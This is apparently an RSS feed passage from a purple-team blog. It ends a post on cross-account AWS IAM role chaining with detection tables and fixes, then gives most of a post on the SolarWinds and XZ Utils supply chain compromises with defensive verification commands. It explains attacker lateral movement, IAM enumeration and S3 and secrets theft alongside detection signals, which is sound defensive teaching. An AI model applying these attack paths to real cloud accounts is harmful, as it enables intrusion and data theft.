<p>Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.</p>
<p>The <a href="/workload-identity-oidc-service-accounts/">federated identity trust boundaries approach using OIDC workload identity</a> removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no <code class="" data-line="">sts:AssumeRole</code> call in CloudTrail to detect because the assumption never happens.</p>
<h3 id="fix-6-enable-guardduty-cross-account-threat-detection-at-org-level">Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level</h3>
<p>GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.</p>
<pre><code class="" data-line=""># Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty update-organization-configuration \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --auto-enable \
  --data-sources &#039;{
    &quot;S3Logs&quot;: {&quot;AutoEnable&quot;: true},
    &quot;Kubernetes&quot;: {&quot;AuditLogs&quot;: {&quot;AutoEnable&quot;: true}},
    &quot;MalwareProtection&quot;: {&quot;ScanEc2InstanceWithFindings&quot;: {&quot;AutoEnable&quot;: true}}
  }&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>ExternalId doesn&#8217;t protect you if the source account is compromised.</strong> The attacker who holds the dev Lambda&#8217;s execution role credentials also has access to the Lambda&#8217;s environment variables and source code — where the <code class="" data-line="">ExternalId</code> value is likely stored. ExternalId is not a secret the attacker can&#8217;t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.</p>
<p><strong>Access Analyzer only catches public and cross-account access, not intra-account lateral movement.</strong> If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won&#8217;t show them.</p>
<p><strong>Role chaining resets the session clock but the window is still one hour.</strong> <code class="" data-line="">sts:AssumeRole</code> sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated <code class="" data-line="">AssumeRole</code> calls in CloudTrail that form a detectable pattern if you&#8217;re querying for it.</p>
<p><strong>S3 exfiltration may not trigger GuardDuty immediately.</strong> GuardDuty&#8217;s <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code> finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears &#8220;normal&#8221; relative to what GuardDuty has seen from that role before. CloudTrail <code class="" data-line="">GetObject</code> events are the reliable signal; don&#8217;t rely on GuardDuty alone for S3 exfiltration detection.</p>
<p><strong><code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> in a trust policy does not mean the root user specifically.</strong> This is a common misread. <code class="" data-line="">arn:aws:iam::123456789012:root</code> means any principal in account <code class="" data-line="">123456789012</code> — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it&#8217;s dangerous in a cross-account trust policy.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Lateral Movement Technique</th>
<th>CloudTrail Signal</th>
<th>Detection Tool</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code></td>
<td><code class="" data-line="">AssumeRole</code> where source accountId ≠ target accountId in role ARN</td>
<td>CloudTrail + Athena query</td>
<td>Scope Principal to specific role ARN</td>
</tr>
<tr>
<td>Account root as trust principal</td>
<td>Access Analyzer ACTIVE finding on IAM Role</td>
<td>AWS Access Analyzer</td>
<td>Replace <code class="" data-line="">root</code> with specific ARN + ExternalId</td>
</tr>
<tr>
<td>Role chaining across accounts</td>
<td>Multiple sequential <code class="" data-line="">AssumeRole</code> events, each with new session token</td>
<td>CloudTrail session correlation</td>
<td>SCP restricting cross-account assumptions to approved pairs</td>
</tr>
<tr>
<td>Exfiltration via assumed prod role</td>
<td>S3 <code class="" data-line="">GetObject</code>/<code class="" data-line="">ListBucket</code> from assumed-role session in CloudTrail</td>
<td>CloudTrail + GuardDuty <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>Least-privilege S3 policy on prod role + S3 Access Logs</td>
</tr>
<tr>
<td>IAM enumeration from compromised identity</td>
<td><code class="" data-line="">iam:ListRoles</code>, <code class="" data-line="">iam:GetRole</code>, <code class="" data-line="">iam:SimulatePrincipalPolicy</code></td>
<td>GuardDuty <code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Deny <code class="" data-line="">iam:*</code> on Lambda execution roles</td>
</tr>
<tr>
<td>Secrets Manager access via assumed role</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> from unexpected principal</td>
<td>CloudTrail resource policy audit</td>
<td>Attach resource policy to secrets scoping allowed principals</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network</li>
<li>Every cross-account trust policy that uses <code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do</li>
<li>CloudTrail <code class="" data-line="">AssumeRole</code> events where the principal&#8217;s account ID doesn&#8217;t match the target role&#8217;s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back</li>
<li>AWS Access Analyzer with an organization-level analyzer surfaces the vulnerable trust policies automatically — if you&#8217;re not running it, you&#8217;re auditing trust policies manually or not at all</li>
<li><a href="/cloud-iam-privilege-escalation/">IAM privilege escalation paths</a> and cross-account lateral movement compound: an attacker who escalates privilege inside a source account has more roles to attempt cross-account assumptions from, extending the blast radius further</li>
<li>Defense in depth requires all three layers: scoped trust policy principal, <code class="" data-line="">ExternalId</code> condition, and an SCP blocking assumptions from non-approved accounts — any single layer has a bypass</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 is where the series pivots from attack paths to detection engineering. We&#8217;ve covered how attackers compromise identities, escalate privilege, move laterally through cloud accounts, and exfiltrate data. EP11 asks a harder question: how do you build detection rules that catch these techniques at the kernel level — before the attack completes, not after it shows up in CloudTrail?</p>
<p>The answer involves eBPF: kernel-level visibility that gives you process execution context, network connections, and file system access in real time, mapped to the cloud workload identity making the API calls. A SIEM ingesting CloudTrail logs sees what happened after the fact. eBPF running on the node sees the <code class="" data-line="">aws sts assume-role</code> subprocess spawn, the credential file write, and the outbound S3 connection — while it&#8217;s happening.</p>
<p>Get EP11 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&amp;linkname=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-lateral-movement-iam-role-chaining%2F&#038;title=Cloud%20Lateral%20Movement%3A%20Cross-Account%20IAM%20Role%20Chaining%20Explained" data-a2a-url="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/" data-a2a-title="Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained"></a></p><p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1870</post-id>	</item>
		<item>
		<title>Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</title>
		<link>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/</link>
					<comments>https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 30 Jun 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[CVE-2024-3094]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SolarWinds]]></category>
		<category><![CDATA[Supply Chain]]></category>
		<category><![CDATA[XZ Utils]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1867</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 14</span> <span class="rt-label rt-postfix">minutes</span></span>Supply chain attacks target trust, not code. SolarWinds to XZ Utils anatomy: how 2 years of social engineering almost shipped a backdoor to every major Linux distro.</p>
<p>The post <a href="https://linuxcent.com/supply-chain-attack-solarwinds-xz-utils/">Supply Chain Attacks: From SolarWinds to XZ Utils — Detection and Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 14</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-attack/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <strong>Supply Chain Attacks</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Supply chain attack detection</strong> is OWASP A06 + A08: attackers compromise the software build or distribution chain so that legitimate, signed artifacts deliver malicious payloads — standard vulnerability scanning misses this entirely</li>
<li>SolarWinds (December 2020): threat actors compromised the Orion build system in March 2020, waited eight months, inserted the SUNBURST backdoor into a digitally signed update, and reached 18,000+ organizations including the U.S. Treasury, DHS, and DoD</li>
<li>XZ Utils (CVE-2024-3094, March 2024): the &#8220;Jia Tan&#8221; persona spent two years building open-source credibility before inserting a backdoor into release tarballs — the backdoor was not in the git repo, only in the distributed tarball <em>(release tarball = the compressed archive that Linux distributions download to build the package — separate from the git source tree)</em></li>
<li>The XZ backdoor targeted <code class="" data-line="">liblzma</code>, which is linked into <code class="" data-line="">sshd</code> via <code class="" data-line="">systemd</code> on affected distros — a compromised SSH daemon on every major Linux distribution was days away from shipping</li>
<li>Detection relied on human observation: Andres Freund noticed a 500ms SSH connection delay during unrelated benchmarking, traced it with <code class="" data-line="">strace</code>, and found <code class="" data-line="">sshd</code> making unexpected calls into <code class="" data-line="">liblzma</code></li>
<li>The structural fix is a pipeline: pin dependencies with hashes + private artifact registry + SBOM generation + image signing with Sigstore/cosign — each layer catches a different attack class</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A06 Vulnerable and Outdated Components — compromised upstream dependencies. A08 Software and Data Integrity Failures — build artifacts not signed or verified; release tarball content not validated against source.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌──────────────────────────────────────────────────────────────────────────┐
│                  SUPPLY CHAIN ATTACK SURFACE                             │
│                                                                          │
│   SOURCE REPO          BUILD SYSTEM         ARTIFACT REGISTRY           │
│   github.com/org  ──&#x25b6;  CI/CD pipeline  ──&#x25b6;  container registry / PyPI  │
│        │                    │                      │                     │
│        │                    │                      │                     │
│   ATTACK POINT 1:      ATTACK POINT 2:       ATTACK POINT 3:            │
│   Social engineer      Compromise the        Typosquatting /             │
│   maintainer trust     build host            dependency confusion        │
│   (XZ model)           (SolarWinds model)    (public registry model)    │
│        │                    │                      │                     │
│        └────────────────────┴──────────────────────┘                    │
│                             │                                            │
│                    COMPROMISED ARTIFACT                                  │
│             (signed, valid, ships with legitimate release)               │
│                             │                                            │
│                             ▼                                            │
│        PRODUCTION SYSTEMS (18,000 orgs / every major Linux distro)      │
│                                                                          │
│   ═══════════════════════════════════════════════════════════════        │
│   DETECTION PIPELINE                                                     │
│   Hash pinning + SBOM + Sigstore verify + tarball ≠ git diff check      │
│   Each layer catches a different attack class                            │
└──────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Supply chain attack detection</strong> is hard because the artifact being delivered is legitimate by every traditional check: it is signed by the vendor, it passes antivirus, it resolves from the correct registry. The attack happened before the artifact was packaged, inside the trust chain you already approved. SolarWinds and XZ Utils are not anomalies — they are the template.</p>
<hr />
<h2 id="two-incidents-same-attack-surface">Two Incidents — Same Attack Surface</h2>
<h3 id="solarwinds-december-2020">SolarWinds (December 2020)</h3>
<p>The SolarWinds compromise is the definitive build-system attack. The timeline:</p>
<pre><code class="" data-line="">March 2020       Threat actor (UNC2452 / Cozy Bear) gains access to
                 SolarWinds build environment

October 2020     SUNBURST backdoor code inserted into SolarWinds Orion
                 build process — not into the source repository

October 2020     Orion 2019.4 through 2020.2.1 builds produced with
                 SUNBURST included — binaries digitally signed by
                 SolarWinds with their valid code-signing certificate

October–         SUNBURST distributed to ~18,000 customers via the
December 2020    legitimate Orion software update mechanism

December 2020    FireEye detects SUNBURST while investigating their own
                 breach — reports to SolarWinds and CISA
</code></pre>
<p><strong>What made detection almost impossible:</strong></p>
<p>The compiled binary passed every integrity check a customer would run. It was signed with SolarWinds&#8217; legitimate certificate. It installed via the normal software update channel. The SUNBURST code itself was designed for low observability: it dormant for 12–14 days after installation, used legitimate SolarWinds API patterns to blend with normal Orion traffic, and used legitimate cloud infrastructure (Avsvmcloud.com, which resolved to valid cloud provider IPs) for command-and-control.</p>
<p>The C2 communication was disguised as standard Orion telemetry. Exfiltration was slow — the attackers were not bulk-extracting data, they were selecting targets and moving laterally only inside high-value organizations.</p>
<p><strong>The attack vector was the build system, not source code.</strong> SolarWinds source repositories did not contain SUNBURST. The attacker modified the compiled output at build time. A code review of the SolarWinds source would have found nothing.</p>
<hr />
<h3 id="xz-utils-cve-2024-3094-march-2024">XZ Utils (CVE-2024-3094, March 2024)</h3>
<p>The XZ Utils compromise is more instructive because it was social engineering at the package maintainer level, caught before it shipped widely — and the catch was accidental.</p>
<p><strong>Timeline:</strong></p>
<pre><code class="" data-line="">November 2021    GitHub user &quot;Jia Tan&quot; (JiaT75) makes first commit to
                 xz-utils repository

2022–2023        Jia Tan steadily contributes quality patches to xz-utils,
                 builds trust with maintainer Lasse Collin, is eventually
                 granted commit access

Early 2024       Jia Tan accelerates commit activity, coordinates social
                 pressure on Lasse Collin from other fake personas to
                 push releases faster

February 2024    Jia Tan releases xz 5.6.0 — backdoor code inserted in
                 the release tarball build process (not in git commits)

March 9, 2024    xz 5.6.1 released with minor obfuscation changes

March 28–29,     Andres Freund (PostgreSQL/Microsoft engineer) notices
2024             500ms SSH connection delay on his Debian sid machine
                 while running unrelated Valgrind benchmarks

March 29, 2024   Freund traces the delay with strace, finds sshd making
                 unexpected calls into liblzma, reports to oss-security
                 mailing list

March 30, 2024   CISA advisory published. Fedora 40 beta, Debian unstable,
                 openSUSE Tumbleweed had all shipped the affected version.
                 Ubuntu 24.04 LTS was in freeze and had it staged.
</code></pre>
<p><strong>What was backdoored and how:</strong></p>
<p><code class="" data-line="">xz-utils</code> provides the <code class="" data-line="">liblzma</code> compression library. On systemd-based Linux distributions, <code class="" data-line="">sshd</code> links against <code class="" data-line="">libsystemd</code>, which links against <code class="" data-line="">liblzma</code>. The backdoor hooked into <code class="" data-line="">sshd</code>&#8216;s RSA key processing — specifically <code class="" data-line="">RSA_public_decrypt</code> — to allow authentication bypass using a specific attacker-controlled private key.</p>
<p>The backdoor was not in the git repository. It was injected during the tarball release process via obfuscated test files in the repository that were assembled and compiled during the build. Comparing the released tarball to the git tree reveals extra files and code that do not appear in any git commit:</p>
<pre><code class="" data-line="">xz --version
# 5.6.0 or 5.6.1 = affected; 5.4.x = safe

# How Andres Freund found it
# He was running sshd benchmarks and noticed unexpected latency
strace -p $(pgrep sshd) 2&gt;&amp;1 | head -20
# Saw unexpected calls into liblzma that should not be there
# Normal sshd does not call into liblzma at all

# Verify tarball vs git diff (the forensic check)
# If you have both the tarball and git source:
tar xf xz-5.6.1.tar.gz
git clone https://github.com/tukaani-project/xz.git xz-git
diff -r xz-5.6.1/ xz-git/
# Extra files in the tarball that don&#039;t appear in git = compromise indicator
</code></pre>
<p><strong>What makes this attack class so dangerous:</strong></p>
<p>The actor ran a multi-year operation. Two years of legitimate contributions, relationship-building with maintainers, and social pressure coordination across multiple fake personas. The code quality was good — Jia Tan&#8217;s legitimate commits improved xz-utils. The backdoor code was technically sophisticated enough that it took days of analysis to fully reverse-engineer after Freund&#8217;s discovery.</p>
<hr />
<h2 id="red-phase-how-supply-chain-attacks-work-in-practice">Red Phase: How Supply Chain Attacks Work in Practice</h2>
<p>There are three distinct attack surfaces. They require different defenses and catch different attack classes.</p>
<h3 id="1-build-system-compromise-solarwinds-model">1. Build System Compromise (SolarWinds Model)</h3>
<p>The attacker gains access to the CI/CD or build host and modifies compiled artifacts. The source code is clean. Git history is clean. Only the build output is poisoned.</p>
<p><strong>What makes it hard to catch:</strong> legitimate signing certificate, normal distribution channel, artifact passes all integrity checks that consumers run.</p>
<p><strong>Simulation (safe to run in a test environment):</strong></p>
<pre><code class="" data-line=""># Understand your build artifact&#039;s provenance
# Can you trace a production binary back to a specific source commit?

# For a Docker image: inspect build metadata
docker inspect your-org/your-image:latest | \
  jq &#039;.[0].Config.Labels&#039;
# Look for: org.opencontainers.image.revision (git SHA)
#           org.opencontainers.image.source (repo URL)
# If these labels are absent, you cannot verify what source built this image

# For a Go binary: read embedded build info
go version -m /path/to/binary
# Shows: Go version, module path, dependencies with versions and hashes
# If -trimpath was used during build, some info may be stripped

# Check if a container image was built from a known CI workflow
# (assumes SLSA provenance attestation is present)
cosign verify-attestation \
  --type slsaprovenance \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  your-org/your-image:latest | \
  jq -r &#039;.payload | @base64d | fromjson | .predicate.buildType&#039;
</code></pre>
<h3 id="2-dependency-hijacking-typosquatting-and-dependency-confusion">2. Dependency Hijacking: Typosquatting and Dependency Confusion</h3>
<p><strong>Typosquatting:</strong> a malicious package on PyPI/npm with a name close to a popular package (<code class="" data-line="">requets</code> vs <code class="" data-line="">requests</code>, <code class="" data-line="">djano</code> vs <code class="" data-line="">django</code>). Developers with a typo in their <code class="" data-line="">requirements.txt</code> install the malicious package.</p>
<p><strong>Dependency confusion:</strong> a private internal package (<code class="" data-line="">mycompany-utils</code>) has the same name as a package you upload to the public registry with a higher version number. Package managers that check public registries before private ones will resolve the public (malicious) version.</p>
<pre><code class="" data-line=""># Test for dependency confusion: can your private package names be
# resolved from the public registry?
# Do this in a throwaway environment, NOT production

# For Python: check if your internal package name exists on PyPI
pip index versions your-internal-package-name 2&gt;/dev/null
# If it returns versions and you didn&#039;t publish it there = confusion risk

# For npm: check if your scoped package exists on the public registry
npm view @your-scope/your-package version 2&gt;/dev/null
# An unscoped internal package with a public registry hit = confusion risk

# For pip: audit your requirements for known-bad packages
pip-audit --requirement requirements.txt
# pip-audit checks against the OSV vulnerability database
# Install: pip install pip-audit

# For npm: audit for both vulnerabilities and signature issues
npm audit
npm audit signatures
# &#039;npm audit signatures&#039; verifies that packages in node_modules were
# signed with registry-issued keys — catches tampered downloads
</code></pre>
<h3 id="3-maintainer-compromise-and-social-engineering-xz-model">3. Maintainer Compromise and Social Engineering (XZ Model)</h3>
<p>The hardest attack class to detect from the outside. A trusted maintainer is either compromised or is the attacker. Their commits are signed, their track record is legitimate, the package comes from the canonical repository.</p>
<p><strong>What you can check:</strong></p>
<pre><code class="" data-line=""># Verify a PyPI package hash matches what&#039;s listed in the index
# The hash listed on PyPI is set at upload time — if the file was
# replaced after upload, the hash would change (PyPI prevents this,
# but private/mirror registries may not)
pip download requests==2.31.0 --no-deps --dest /tmp/pkg-check/
sha256sum /tmp/pkg-check/requests-2.31.0-py3-none-any.whl
# Compare to the hash shown at pypi.org/project/requests/2.31.0/#files

# Check npm package signatures (post-XZ hygiene)
npm audit signatures
# Output shows: verified (good), missing (not signed), invalid (tampered)

# For containers: verify Sigstore signature
cosign verify \
  --certificate-identity-regexp=&quot;.*&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest
# If this fails: the image was not built by the expected GitHub Actions workflow
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="slsa-what-level-your-pipeline-should-be-at">SLSA: What Level Your Pipeline Should Be At</h3>
<p>SLSA (Supply chain Levels for Software Artifacts) is a framework for build pipeline integrity. Four levels:</p>
<pre><code class="" data-line="">SLSA Level 1  Build process is scripted/automated, produces provenance
              Most teams can reach this today
              Catches: accidental modifications, basic auditability

SLSA Level 2  Build runs on a hosted, version-controlled build platform
              (GitHub Actions, GitLab CI) — provenance is signed by the
              build platform, not just the developer
              Catches: developer workstation compromise

SLSA Level 3  Hermetic builds — the build environment is isolated from
              the network, cannot pull external resources at build time
              Provenance is non-forgeable
              Catches: build-time dependency injection, most CI/CD attacks

SLSA Level 4  (deprecated in SLSA v1.0, merged into L3)

Most teams should target SLSA Level 2 now, Level 3 within 6 months.
Level 3 is where SolarWinds-class attacks become detectable.
</code></pre>
<h3 id="container-image-signing-with-sigstorecosign">Container Image Signing with Sigstore/cosign</h3>
<pre><code class="" data-line=""># Sign a container image after build (in CI, using OIDC — no stored key)
# This runs inside GitHub Actions after the docker push step
cosign sign \
  --yes \
  ghcr.io/your-org/your-image:${GITHUB_SHA}
# cosign uses the GitHub Actions OIDC token to sign — no private key needed
# The signature is stored in the registry alongside the image

# Verify the signature and check the certificate claims
cosign verify \
  --certificate-identity=&quot;https://github.com/your-org/your-repo/.github/workflows/build.yml@refs/heads/main&quot; \
  --certificate-oidc-issuer=&quot;https://token.actions.githubusercontent.com&quot; \
  ghcr.io/your-org/your-image:latest | \
  jq &#039;.[0] | {
    issuer: .optional.Issuer,
    workflow: .optional.BuildSignerURI,
    repo: .optional.SourceRepositoryURI,
    ref: .optional.SourceRepositoryRef
  }&#039;
# A passing verification means:
# - Image was built by a specific GitHub Actions workflow
# - In a specific repository, on a specific branch
# - At a specific time (cert has a 10-minute TTL)
</code></pre>
<h3 id="sbom-generation-and-vulnerability-scanning">SBOM Generation and Vulnerability Scanning</h3>
<p>An SBOM (Software Bill of Materials) enumerates every component in a software artifact. Without an SBOM, you cannot answer &#8220;are we affected by the XZ backdoor?&#8221; across your fleet in under an hour.</p>
<pre><code class="" data-line=""># Generate an SBOM for a container image using syft
syft your-org/your-image:latest -o cyclonedx-json &gt; sbom.json
# syft walks the image layers and catalogs every package,
# including OS packages (rpm/deb), language packages (pip/npm/go),
# and their versions

# Inspect what syft found
cat sbom.json | jq &#039;.components[] | select(.name == &quot;xz-libs&quot;) | {name, version, purl}&#039;
# Example output:
# {
#   &quot;name&quot;: &quot;xz-libs&quot;,
#   &quot;version&quot;: &quot;5.4.4-1.el9&quot;,    ← 5.4.x = safe; 5.6.0/5.6.1 = backdoored
#   &quot;purl&quot;: &quot;pkg:rpm/redhat/xz-libs@5.4.4-1.el9?arch=x86_64&quot;
# }

# Scan the SBOM for known vulnerabilities
grype sbom:./sbom.json
# grype checks each component against Grype&#039;s vulnerability database
# (CVE, GHSA, OSV) — would have flagged CVE-2024-3094 once published

# Automate: generate SBOM and scan in CI, fail build if critical CVEs found
